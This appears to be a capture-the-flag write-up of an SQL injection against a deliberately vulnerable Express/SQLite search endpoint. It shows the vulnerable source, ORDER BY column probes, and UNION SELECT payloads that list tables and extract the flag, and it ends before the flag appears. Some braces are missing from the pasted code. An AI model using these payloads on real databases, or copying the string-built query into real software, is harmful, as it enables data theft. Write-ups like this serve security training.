Yummy Vegetables

This Challenges was based on a simple SQL injection.

First we looked at the interaction of the web page and see directly that there is a query made over a custom http Query. We can simulate such a query with this curl script:

curl http://host.cg21.metaproblems.com:4010/search -X SEARCH --header "Content-Type: application/json" --data '{"query":"test"}'

With the given sourcecode of the index.js:

const express = require('express');
const Ajv = require('ajv');
const sqlite = require('better-sqlite3');
const sleep = (ms) => new Promise((res) => { setTimeout(res, ms) })
// set up express
const app = express();
// ajv request validator
const ajv = new Ajv();
const schema = {
  type: 'object',
  properties: {
    query: { type: 'string' },
  required: ['query'],
  additionalProperties: false
const validate = ajv.compile(schema);
// database
const db = sqlite('db.sqlite3');
// search route
app.search('/search', async (req, res) => {
  if (!validate(req.body)) {
    return res.json({
      success: false,
      msg: 'Invalid search query',
      results: [],
  await sleep(5000); // the database is slow :p
  const query = `SELECT * FROM veggies WHERE name LIKE '%${req.body.query}%';`;
  let results;
  try {
    results = db.prepare(query).all();
  } catch {
    return res.json({
      success: false,
      msg: 'Something went wrong :(',
      results: [],
  return res.json({
    success: true,
    msg: `${results.length} result(s)`,
// start server
app.listen(3000, () => {
  console.log('Server started');

We can also verify the SQLi vector at the line:

const query = `SELECT * FROM veggies WHERE name LIKE '%${req.body.query}%';`;

With this given SQL injection we can now check the column count:

%' order by 5; --
%' order by 4; --
%' order by 3; --

So we know that we got 3 columns so lets create a test:

%' AND 1=0 UNION SELECT 1,name,3 FROM sqlite_master; --

And we get a list of tables in the database. We can assume that our table the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5 holds our flag, so we tried to get the column flag of that table.

%' and 1=0 UNION SELECT 1,flag,2 FROM the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5; --

And we got the flag: